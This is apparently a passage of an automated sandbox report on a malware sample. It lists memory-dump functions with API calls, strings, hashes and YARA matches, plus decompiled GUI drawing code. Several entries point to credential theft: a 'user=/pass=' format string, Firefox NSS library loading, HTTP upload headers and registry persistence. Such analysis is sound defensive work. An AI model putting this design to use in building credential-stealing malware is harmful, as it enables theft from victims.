IntersectRect.USER32(?,?,?), ref: 003A5804

Part of subcall function 003A5190: 70D9FFF6.KERNEL32(75400000,00000000,00000000,003A524F), ref: 003A5210

Strings

EnumDisplayMonitors, xrefs: 003A5754

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$IntersectMetricsSystem$ClipDisplayEnumMonitorsOffset
String ID: EnumDisplayMonitors
API String ID: 3415509092-2491903729
Opcode ID: f832dd1cb3e98d69a80e6e83ce67175f9e5d82ce09393046a349161efe4952da
Instruction ID: 7305636fb0b68f42d566d0ba04b157f4780d55439a3a4f48fb240237734c2344
Opcode Fuzzy Hash: f832dd1cb3e98d69a80e6e83ce67175f9e5d82ce09393046a349161efe4952da
Instruction Fuzzy Hash: 80312872E01609AFDB02DFA49845AEFB7BCEB1A700F014126E915E7201E7399A04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0234FB5B, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 108memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 023575F4: RtlEnterCriticalSection.NTDLL(P)(), ref: 023575FC
Part of subcall function 023575F4: RtlLeaveCriticalSection.NTDLL(P)(), ref: 02357611
Part of subcall function 023575F4: InterlockedIncrement.KERNEL32(0000001C), ref: 0235762A

RtlAllocateHeap.NTDLL(00000000,02350E4D,-00000008), ref: 0234FBA9
lstrlen.KERNEL32(00000008,?,?,?,02350E4D,00000000), ref: 0234FBB9
RtlAllocateHeap.NTDLL(00000000,-00000021), ref: 0234FBCB
HeapFree.KERNEL32(00000000,-00000008), ref: 0234FBDD
memcpy.NTDLL(-00000008,00000000,02350E4D,?,?,?,02350E4D,00000000), ref: 0234FBF1
lstrcpy.KERNEL32(00000020,00000008), ref: 0234FC23
RtlEnterCriticalSection.NTDLL(P)(), ref: 0234FC2E
RtlLeaveCriticalSection.NTDLL(P)(), ref: 0234FC87

Strings

P)(, xrefs: 0234FC29, 0234FC7C

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSection$Heap$AllocateEnterLeave$FreeIncrementInterlockedlstrcpylstrlenmemcpy
String ID: P)(
API String ID: 3746371830-3792617651
Opcode ID: 391288395f9e7e5084053607951af0ae81ea44b87ebe05cf011159e7efb9b8f3
Instruction ID: 703619c19a6ee9222d711054a644b702e7f81abf206e8f2e543faf4729621c62
Opcode Fuzzy Hash: 391288395f9e7e5084053607951af0ae81ea44b87ebe05cf011159e7efb9b8f3
Instruction Fuzzy Hash: 2B4147B1940304EFDB218F54D989B6ABBFDFF44714F188899ED069A601DB71EA24CF80

Uniqueness

Uniqueness Score: -1.00%

Function 0234DB79, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 103memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 02346CE0: RtlAllocateHeap.NTDLL(00000000,?), ref: 02346D12
Part of subcall function 02346CE0: HeapFree.KERNEL32(00000000,00000000), ref: 02346D37

Part of subcall function 023477BE: HeapFree.KERNEL32(00000000,00000000,?), ref: 023477F8
Part of subcall function 023477BE: HeapFree.KERNEL32(00000000,?,?), ref: 02347844

lstrlen.KERNEL32(00000000,?,00000000), ref: 0234DBEB
lstrlen.KERNEL32(?,?,00000000), ref: 0234DBF3
lstrlen.KERNEL32(?), ref: 0234DBFD
RtlAllocateHeap.NTDLL(00000000,?), ref: 0234DC12
wsprintfA.USER32 ref: 0234DC47
HeapFree.KERNEL32(00000000,00000000,0000011E), ref: 0234DC69
HeapFree.KERNEL32(00000000,?), ref: 0234DC7E
HeapFree.KERNEL32(00000000,?), ref: 0234DC8B
HeapFree.KERNEL32(00000000,00000000,?), ref: 0234DC99

Strings

URL: %suser=%spass=%s, xrefs: 0234DC41

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$lstrlen$Allocate$wsprintf
String ID: URL: %suser=%spass=%s
API String ID: 168057987-1589266237
Opcode ID: 54fb843449600251d2daec3bcacfd0f12f819177401759f4a1c07440c4f1cb19
Instruction ID: d519d6dc60148434d597b2666bb740f0c1a5e8bdc09b8a562ff304b3a01d6d42
Opcode Fuzzy Hash: 54fb843449600251d2daec3bcacfd0f12f819177401759f4a1c07440c4f1cb19
Instruction Fuzzy Hash: CB31C070A40314BFCB21AF64CC49E5BBBEDFF48754F00496AF944A6191DB71E9248FA2

Uniqueness

Uniqueness Score: -1.00%

Function 0234E1A6, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72filetimeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0234E1B2
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 0234E1C8
_snwprintf.NTDLL ref: 0234E1ED
CreateFileMappingW.KERNEL32(000000FF,02367160,00000004,00000000,00001000,?,?,54D38000,00000192), ref: 0234E209
GetLastError.KERNEL32 ref: 0234E21B
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 0234E232
CloseHandle.KERNEL32(00000000), ref: 0234E253
GetLastError.KERNEL32 ref: 0234E25B

Strings

Local\, xrefs: 0234E1DC

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID: Local\
API String ID: 1814172918-422136742
Opcode ID: c441fe90563c4210ce912995171e60f82458c3ba0d99f39e5eea97d093568df1
Instruction ID: 9866fb161d8331df5dfd7b059316c6510625729b66b5e20778c6afff9e46caf3
Opcode Fuzzy Hash: c441fe90563c4210ce912995171e60f82458c3ba0d99f39e5eea97d093568df1
Instruction Fuzzy Hash: 2321D5B2E40204BBD721AB64DC09F9E77BDBF84B14F1181A1FA06E72D0DB70A6068B50

Uniqueness

Uniqueness Score: -1.00%

Function 0234EBAD, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSPR4.DLL), ref: 0234EBC6
LoadLibraryA.KERNEL32(NSS3.DLL), ref: 0234EBD4
LoadLibraryA.KERNEL32(xul.dll), ref: 0234EBE9
GetProcAddress.KERNEL32(00000000,PR_GetError,?,00000000), ref: 0234EBF7
GetProcAddress.KERNEL32(00000000,PR_SetError,?,00000000), ref: 0234EC04

Strings

NSPR4.DLL, xrefs: 0234EBB6, 0234EBBB
xul.dll, xrefs: 0234EBE4
PR_SetError, xrefs: 0234EBF9
NSS3.DLL, xrefs: 0234EBCE, 0234EBD3
PR_GetError, xrefs: 0234EBF1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad$AddressProc
String ID: NSPR4.DLL$NSS3.DLL$PR_GetError$PR_SetError$xul.dll
API String ID: 1469910268-282796573
Opcode ID: 7807dd8ba790770ef6acf19dd27c9afadcd1d0d880175cd2d3376ef0db539289
Instruction ID: 067c459a93dbb79273a9d06d9128fa22a1d59ba3371f20ac4e3f3330ad11c787
Opcode Fuzzy Hash: 7807dd8ba790770ef6acf19dd27c9afadcd1d0d880175cd2d3376ef0db539289
Instruction Fuzzy Hash: AB216DF1E90310ABD711CF6DE98EB11B7EDF748754F80899AE109D7240DB7898218F60

Uniqueness

Uniqueness Score: -1.00%

Function 02354898, Relevance: 16.6, APIs: 11, Instructions: 144memoryregistryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000104,00000000), ref: 023548CE
RtlAllocateHeap.NTDLL(00000000,00000104), ref: 023548E3
RegCreateKeyA.ADVAPI32(80000001,?), ref: 0235490B
HeapFree.KERNEL32(00000000,00000001), ref: 0235494C
HeapFree.KERNEL32(00000000,?), ref: 0235495C
RtlAllocateHeap.NTDLL(00000000,0234C48B), ref: 0235496F
RtlAllocateHeap.NTDLL(00000000,0234C48B), ref: 0235497E
HeapFree.KERNEL32(00000000,?,?), ref: 023549C8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0234C48B,?,00000001), ref: 023549EC
HeapFree.KERNEL32(00000000,00000001), ref: 02354A11
HeapFree.KERNEL32(00000000,?), ref: 02354A26

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$Allocate$CloseCreate
String ID:
API String ID: 4126010716-0
Opcode ID: f70dd7c5df99a25a98455e8dcc65eced85cd44e4b35b2a2c1e38c142e0ec7dad
Instruction ID: 29a5ff1e52b82aca032caa8ec404ea19f808d62d48760f29a3268611f2b9c6d6
Opcode Fuzzy Hash: f70dd7c5df99a25a98455e8dcc65eced85cd44e4b35b2a2c1e38c142e0ec7dad
Instruction Fuzzy Hash: C1519FB5C40229FFDF019F94DD899EEBBBDFB08344F10846AEA15A2110D7359AA4DF60

Uniqueness

Uniqueness Score: -1.00%

Function 003CD048, Relevance: 16.6, APIs: 11, Instructions: 133
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E003CD048(intOrPtr* __eax, void* __edx) {
				struct HDC__* _v8;
				struct HBITMAP__* _v12;
				void* _v16;
				struct tagPAINTSTRUCT _v80;
				int _v84;
				void* _v96;
				int _v104;
				void* _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t38;
				struct HDC__* _t59;
				intOrPtr* _t88;
				intOrPtr _t107;
				void* _t108;
				struct HDC__* _t110;
				void* _t113;
				void* _t116;
				void* _t118;
				intOrPtr _t119;

				_t116 = _t118;
				_t119 = _t118 + 0xffffff94;
				_push(_t108);
				_t113 = __edx;
				_t88 = __eax;
				if( *((char*)(__eax + 0x1f8)) == 0 ||  *((intOrPtr*)(__edx + 4)) != 0) {
					if(( *(_t88 + 0x55) & 0x00000001) != 0 || E003CBBE8(_t88) != 0) {
						_t38 = E003CCB6C(_t88, _t88, _t113, _t108, _t113);
					} else {
						_t38 =  *((intOrPtr*)( *_t88 - 0x10))();
					}
					return _t38;
				} else {
					_t110 = GetDC(0);
					 *((intOrPtr*)( *_t88 + 0x44))();
					 *((intOrPtr*)( *_t88 + 0x44))();
					_v12 = CreateCompatibleBitmap(_t110, _v104, _v84);
					ReleaseDC(0, _t110);
					_v8 = CreateCompatibleDC(0);
					_v16 = SelectObject(_v8, _v12);
					 *[fs:eax] = _t119;
					_t59 = BeginPaint(E003CEEB8(_t88),  &_v80);
					E003C9884(_t88, _v8, 0x14, _v8);
					 *((intOrPtr*)(_t113 + 4)) = _v8;
					E003CD048(_t88, _t113);
					 *((intOrPtr*)(_t113 + 4)) = 0;
					 *((intOrPtr*)( *_t88 + 0x44))( *[fs:eax], 0x3cd19a, _t116);
					 *((intOrPtr*)( *_t88 + 0x44))();
					BitBlt(_t59, 0, 0, _v104, _v84, _v8, 0, 0, 0xcc0020);
					EndPaint(E003CEEB8(_t88),  &_v80);
					_pop(_t107);
					 *[fs:eax] = _t107;
					_push(0x3cd1a1);
					SelectObject(_v8, _v16);
					DeleteDC(_v8);
					return DeleteObject(_v12);
				}
			}

0x003cd049
0x003cd04b
0x003cd050
0x003cd051
0x003cd053
0x003cd05c
0x003cd068
0x003cd087
0x003cd075
0x003cd07b
0x003cd07b
0x003cd1a7
0x003cd091
0x003cd098
0x003cd0a1
0x003cd0af
0x003cd0bc
0x003cd0c2
0x003cd0ce
0x003cd0de
0x003cd0ec
0x003cd0fb
0x003cd110
0x003cd118
0x003cd11f
0x003cd126
0x003cd13d
0x003cd14b
0x003cd157
0x003cd168
0x003cd16f
0x003cd172
0x003cd175
0x003cd182
0x003cd18b
0x003cd199
0x003cd199

APIs

GetDC.USER32(00000000), ref: 003CD093
CreateCompatibleBitmap.GDI32(00000000,?), ref: 003CD0B7
ReleaseDC.USER32(00000000,00000000), ref: 003CD0C2
CreateCompatibleDC.GDI32(00000000), ref: 003CD0C9
SelectObject.GDI32(00000000,?), ref: 003CD0D9
BeginPaint.USER32(00000000,?), ref: 003CD0FB
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 003CD157
EndPaint.USER32(00000000,?), ref: 003CD168
SelectObject.GDI32(00000000,?), ref: 003CD182
DeleteDC.GDI32(00000000), ref: 003CD18B
DeleteObject.GDI32(?), ref: 003CD194

Part of subcall function 003CCB6C: BeginPaint.USER32(00000000,?), ref: 003CCB92
Part of subcall function 003CCB6C: EndPaint.USER32(00000000,?), ref: 003CCC86

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Paint$Object$BeginCompatibleCreateDeleteSelect$BitmapRelease
String ID:
API String ID: 3867285559-0
Opcode ID: 61f026f644201e2910af9c364a995ad64a4f40075ba022c78427c04d37030abc
Instruction ID: 9c62fba120db538b1db46e98bf7af34860c1e0e30c8ac1e7de5c256d6c24a51e
Opcode Fuzzy Hash: 61f026f644201e2910af9c364a995ad64a4f40075ba022c78427c04d37030abc
Instruction Fuzzy Hash: E741FC75B00304AFDB12EBA8CD86F9EB7F9AB49700F1044B9F909DB291DA75DD058B50

Uniqueness

Uniqueness Score: -1.00%

Function 0235AB7C, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 108stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0234ACB5: lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?,?,00000000), ref: 0234ACC1
Part of subcall function 0234ACB5: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,023569D6,00000000,00000000,00000004,00000000,?,0234FAC6,?), ref: 0234AD1F
Part of subcall function 0234ACB5: lstrcpy.KERNEL32(00000000,00000000), ref: 0234AD2F

lstrlen.KERNEL32(00000008,?,?,00000000,00000004,00000000), ref: 0235ABC8
wsprintfA.USER32 ref: 0235ABF6
lstrlen.KERNEL32(00000000,20000000,?,00000000,00000001,00000000,00000000,00000008,00000030), ref: 0235AC54
GetLastError.KERNEL32 ref: 0235AC6B
ResetEvent.KERNEL32(?), ref: 0235AC7F
ResetEvent.KERNEL32(?), ref: 0235AC84
GetLastError.KERNEL32 ref: 0235AC9C

Strings

Content-Type: application/octet-stream, xrefs: 0235ABEC
`, xrefs: 0235AC2F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$ErrorEventLastReset$lstrcpymemcpywsprintf
String ID: Content-Type: application/octet-stream$`
API String ID: 2276693960-1382853987
Opcode ID: 66934839d6ebbd0e4015ca2a75d8346105f4dcfc463a76fa5ad17acb703ba73a
Instruction ID: b66610156f4aef307c7dbc4f456ef2ca6d0539bd2f61285386908298246876a6
Opcode Fuzzy Hash: 66934839d6ebbd0e4015ca2a75d8346105f4dcfc463a76fa5ad17acb703ba73a
Instruction Fuzzy Hash: FC413BB1840209EFDB21DFA4D948FAA7BBDFF04314F00495AE80AD2150E735AA24DF60

Uniqueness

Uniqueness Score: -1.00%

Function 02357277, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0234E497,00000000), ref: 02357291
RtlAllocateHeap.NTDLL(00000000,00000024), ref: 023572A6
memset.NTDLL ref: 023572B3
HeapFree.KERNEL32(00000000,00000000), ref: 023572D0
memcpy.NTDLL(?,?,0234E496,?,0234E496,?,?,00000000,?,00000000,02352129,?,00000000), ref: 023572F1

Strings

Referer: , xrefs: 0235736F
Content-Length:, xrefs: 02357321
Transfer-Encoding:, xrefs: 0235734E
chun, xrefs: 0235735F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Allocate$Freememcpymemset
String ID: Content-Length:$Referer: $Transfer-Encoding:$chun
API String ID: 2362494589-2246273904
Opcode ID: 9c49e7ed2a22f0a41bb6de50b70df4e10d065ad2ffbba854044d99ee075a496e
Instruction ID: 35918f4698d808e6bc86512a5e4a893fe9e19820bcecf6e4c477b38234ba9ce6
Opcode Fuzzy Hash: 9c49e7ed2a22f0a41bb6de50b70df4e10d065ad2ffbba854044d99ee075a496e
Instruction Fuzzy Hash: 7D31BC70940B21AFE7319F25CC44E2ABBEDEF14764F00842AED5A9B260D730E911CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02356B95, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 55registrymemorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0235D5F2,00000000,00000000,023673C0,?,?,02359AE6,0235D5F2,00000000,0235D5F2,023673A0), ref: 02356BA8
RtlAllocateHeap.NTDLL(00000000,-00000005), ref: 02356BB6
wsprintfA.USER32 ref: 02356BCB
RegCreateKeyA.ADVAPI32(80000001,023673A0,00000000), ref: 02356BE3
lstrlen.KERNEL32(?), ref: 02356BF2
RegSetValueExA.ADVAPI32(00000001,00000000,00000000,00000001,?,00000001), ref: 02356C00
RegCloseKey.ADVAPI32(?), ref: 02356C0B
HeapFree.KERNEL32(00000000,00000000), ref: 02356C1A

Strings

@%s@, xrefs: 02356BC5

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heaplstrlen$AllocateCloseCreateFreeValuewsprintf
String ID: @%s@
API String ID: 1575615994-4128794767
Opcode ID: 18fc9f258aaff4e5ddb3e0944a78652b6ab249ca5d3d76a4e1723278827a3c9a
Instruction ID: 73fc45df7559819c0a0cd106d832b0905d86abd4164b6f9ef04e70c2bf11a48b
Opcode Fuzzy Hash: 18fc9f258aaff4e5ddb3e0944a78652b6ab249ca5d3d76a4e1723278827a3c9a
Instruction Fuzzy Hash: 75018CB2A80208FFEB011B95EC4EFAA7F3DEB48754F108425FA0196150DBB29D249F60

Uniqueness

Uniqueness Score: -1.00%

Function 023506F2, Relevance: 15.3, APIs: 10, Instructions: 279memorythreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004), ref: 02350769
VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004), ref: 02350788

Part of subcall function 02350295: wsprintfA.USER32 ref: 023502A8
Part of subcall function 02350295: CreateWaitableTimerA.KERNEL32(00000000,00000001,?), ref: 023502BA
Part of subcall function 02350295: SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 023502E4
Part of subcall function 02350295: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 023502F7
Part of subcall function 02350295: CloseHandle.KERNEL32(?), ref: 02350300

GetLastError.KERNEL32 ref: 02350A5B
RtlEnterCriticalSection.NTDLL(?), ref: 02350A6B
RtlLeaveCriticalSection.NTDLL(?), ref: 02350A7C
RtlExitUserThread.NTDLL(?), ref: 02350A8A

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AllocCriticalSectionTimerVirtualWaitable$CloseCreateEnterErrorExitHandleLastLeaveMultipleObjectsThreadUserWaitwsprintf
String ID:
API String ID: 1258333524-0
Opcode ID: 7e9f7d3d2abdbb5171bc3d5358e94e217a9fa15424ab00be2da170621fe8a4c3
Instruction ID: 4c958b0af8c5f6e23d3ea7304d442f6287bcb8d435ca551095233a1dcfd4f416
Opcode Fuzzy Hash: 7e9f7d3d2abdbb5171bc3d5358e94e217a9fa15424ab00be2da170621fe8a4c3
Instruction Fuzzy Hash: A3B138B1900259AFEB249F61CD88FAA7BBEFF08744F108929F959D2160E732D854CF50

Uniqueness

Uniqueness Score: -1.00%

Function 003CCCC4, Relevance: 15.2, APIs: 10, Instructions: 177
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003CCCC4(void* __eax, void* __ecx, struct HDC__* __edx) {
				struct tagRECT _v44;
				struct tagRECT _v60;
				void* _v68;
				int _v80;
				int _t79;
				void* _t134;
				int _t135;
				void* _t136;
				void* _t159;
				void* _t160;
				void* _t161;
				struct HDC__* _t162;
				intOrPtr* _t163;

				_t163 =  &(_v44.bottom);
				_t134 = __ecx;
				_t162 = __edx;
				_t161 = __eax;
				if( *((char*)(__eax + 0x1a8)) != 0 &&  *((char*)(__eax + 0x1a7)) != 0 &&  *((intOrPtr*)(__eax + 0x17c)) != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x17c)))) + 0x20))();
				}
				_t78 =  *((intOrPtr*)(_t161 + 0x198));
				if( *((intOrPtr*)(_t161 + 0x198)) == 0) {
					L17:
					_t79 =  *(_t161 + 0x19c);
					if(_t79 == 0) {
						L27:
						return _t79;
					}
					_t79 =  *((intOrPtr*)(_t79 + 8)) - 1;
					if(_t79 < 0) {
						goto L27;
					}
					_v44.right = _t79 + 1;
					_t159 = 0;
					do {
						_t79 = E00396F34( *(_t161 + 0x19c), _t159);
						_t135 = _t79;
						if( *((char*)(_t135 + 0x1a5)) != 0 && ( *(_t135 + 0x50) & 0x00000010) != 0 && ( *((char*)(_t135 + 0x57)) != 0 || ( *(_t135 + 0x1c) & 0x00000010) != 0 && ( *(_t135 + 0x51) & 0x00000004) == 0)) {
							_v44.left = CreateSolidBrush(E0039F458(0xff000010));
							E00395B00( *((intOrPtr*)(_t135 + 0x40)) - 1,  *((intOrPtr*)(_t135 + 0x40)) +  *((intOrPtr*)(_t135 + 0x48)),  *((intOrPtr*)(_t135 + 0x44)) - 1,  &(_v44.right),  *((intOrPtr*)(_t135 + 0x44)) +  *((intOrPtr*)(_t135 + 0x4c)));
							FrameRect(_t162,  &_v44, _v44);
							DeleteObject(_v60.right);
							_v60.left = CreateSolidBrush(E0039F458(0xff000014));
							E00395B00( *((intOrPtr*)(_t135 + 0x40)),  *((intOrPtr*)(_t135 + 0x40)) +  *((intOrPtr*)(_t135 + 0x48)) + 1,  *((intOrPtr*)(_t135 + 0x44)),  &(_v60.right),  *((intOrPtr*)(_t135 + 0x44)) +  *((intOrPtr*)(_t135 + 0x4c)) + 1);
							FrameRect(_t162,  &_v60, _v60);
							_t79 = DeleteObject(_v68);
						}
						_t159 = _t159 + 1;
						_t75 =  &(_v44.right);
						 *_t75 = _v44.right - 1;
					} while ( *_t75 != 0);
					goto L27;
				}
				_t160 = 0;
				if(_t134 != 0) {
					_t160 = E00396F90(_t78, _t134);
					if(_t160 < 0) {
						_t160 = 0;
					}
				}
				 *_t163 =  *((intOrPtr*)( *((intOrPtr*)(_t161 + 0x198)) + 8));
				if(_t160 <  *_t163) {
					do {
						_t136 = E00396F34( *((intOrPtr*)(_t161 + 0x198)), _t160);
						if( *((char*)(_t136 + 0x57)) != 0 || ( *(_t136 + 0x1c) & 0x00000010) != 0 && ( *(_t136 + 0x51) & 0x00000004) == 0) {
							E00395B00( *((intOrPtr*)(_t136 + 0x40)),  *((intOrPtr*)(_t136 + 0x40)) +  *(_t136 + 0x48),  *((intOrPtr*)(_t136 + 0x44)),  &(_v44.bottom),  *((intOrPtr*)(_t136 + 0x44)) +  *(_t136 + 0x4c));
							if(RectVisible(_t162,  &(_v44.top)) != 0) {
								if(( *(_t161 + 0x54) & 0x00000080) != 0) {
									 *(_t136 + 0x54) =  *(_t136 + 0x54) | 0x00000080;
								}
								_v60.top = SaveDC(_t162);
								E003C700C(_t162,  *((intOrPtr*)(_t136 + 0x44)),  *((intOrPtr*)(_t136 + 0x40)));
								IntersectClipRect(_t162, 0, 0,  *(_t136 + 0x48),  *(_t136 + 0x4c));
								E003C9884(_t136, _t162, 0xf, 0);
								RestoreDC(_t162, _v80);
								 *(_t136 + 0x54) =  *(_t136 + 0x54) & 0x0000ff7f;
							}
						}
						_t160 = _t160 + 1;
					} while (_t160 < _v60.top);
				}
			}

0x003cccc8
0x003ccccb
0x003ccccd
0x003ccccf
0x003cccd8
0x003cccf6
0x003cccf6
0x003cccf9
0x003ccd01
0x003ccde6
0x003ccde6
0x003ccdee
0x003ccef3
0x003ccef3
0x003ccef3
0x003ccdf7
0x003ccdfa
0x00000000
0x00000000
0x003cce01
0x003cce05
0x003cce07
0x003cce0f
0x003cce14
0x003cce1d
0x003cce57
0x003cce7a
0x003cce85
0x003cce8f
0x003ccea4
0x003ccec7
0x003cced2
0x003ccedc
0x003ccedc
0x003ccee1
0x003ccee2
0x003ccee2
0x003ccee2
0x00000000
0x003cce07
0x003ccd07
0x003ccd0b
0x003ccd14
0x003ccd18
0x003ccd1a
0x003ccd1a
0x003ccd18
0x003ccd25
0x003ccd2b
0x003ccd31
0x003ccd3e
0x003ccd44
0x003ccd72
0x003ccd84
0x003ccd8a
0x003ccd8c
0x003ccd8c
0x003ccd98
0x003ccda4
0x003ccdb6
0x003ccdc6
0x003ccdd1
0x003ccdd6
0x003ccdd6
0x003ccd84
0x003ccddc
0x003ccddd
0x003ccd31

APIs

RectVisible.GDI32(55DFEBFF,?), ref: 003CCD7D
SaveDC.GDI32(55DFEBFF), ref: 003CCD93
IntersectClipRect.GDI32(55DFEBFF,00000000,00000000,?,?), ref: 003CCDB6
RestoreDC.GDI32(55DFEBFF,55DFEBFF), ref: 003CCDD1
CreateSolidBrush.GDI32(00000000), ref: 003CCE52
FrameRect.USER32 ref: 003CCE85
DeleteObject.GDI32(?), ref: 003CCE8F
CreateSolidBrush.GDI32(00000000), ref: 003CCE9F
FrameRect.USER32 ref: 003CCED2
DeleteObject.GDI32(?), ref: 003CCEDC

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$BrushCreateDeleteFrameObjectSolid$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 375863564-0
Opcode ID: 79cdea05f393d72578051d57bec75a7897f44a8382e79cad2979c8d692cdcd7f
Instruction ID: 29b0468d928386bdc9ddc595f260404d624ebc007bb44bf6387fc9414312a778
Opcode Fuzzy Hash: 79cdea05f393d72578051d57bec75a7897f44a8382e79cad2979c8d692cdcd7f
Instruction Fuzzy Hash: 335138716143449FDB56EF28C885F5A7BE8AF89304F0444ACEE8ACB25BDA31EC45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02360469, Relevance: 15.1, APIs: 10, Instructions: 95filememorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 02345DEB: memset.NTDLL ref: 02345E0D
Part of subcall function 02345DEB: CloseHandle.KERNEL32(?), ref: 02345EBA

MapViewOfFile.KERNEL32(?,00000004,00000000,00000000,?,?,?,?), ref: 023604B0
CloseHandle.KERNEL32(?), ref: 023604BC
PathFindFileNameW.SHLWAPI(?), ref: 023604CC
lstrlenW.KERNEL32(00000000), ref: 023604D6
RtlAllocateHeap.NTDLL(00000000,00000001), ref: 023604E7
wcstombs.NTDLL ref: 023604F8
lstrlen.KERNEL32(?), ref: 02360505
UnmapViewOfFile.KERNEL32(?,?,?,?,00000001), ref: 02360541
HeapFree.KERNEL32(00000000,00000000), ref: 02360553
DeleteFileW.KERNEL32(?), ref: 02360561

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$CloseHandleHeapViewlstrlen$AllocateDeleteFindFreeNamePathUnmapmemsetwcstombs
String ID:
API String ID: 2256351002-0
Opcode ID: 5788c87cbd87a9cfcb6fe00b8f8e651758f0e2f0d518a846fbcf7e162aaeb2e2
Instruction ID: 7856853fcb7a9a2308c9d13dcf2a9a0ffe933bb455f7285b035cf3c4bdd04b32
Opcode Fuzzy Hash: 5788c87cbd87a9cfcb6fe00b8f8e651758f0e2f0d518a846fbcf7e162aaeb2e2
Instruction Fuzzy Hash: 883135B1C40219FFCF119FA4D88D9AEBB7EFF04745F0084A9FA01A2150DB319A25DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003B59BC, Relevance: 15.1, APIs: 10, Instructions: 74
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003B59BC(intOrPtr _a4) {
				intOrPtr _t27;
				struct HMENU__* _t48;

				_t27 =  *((intOrPtr*)(_a4 - 4));
				if( *((char*)(_t27 + 0x229)) != 0) {
					_t27 =  *((intOrPtr*)(_a4 - 4));
					if(( *(_t27 + 0x228) & 0x00000001) != 0) {
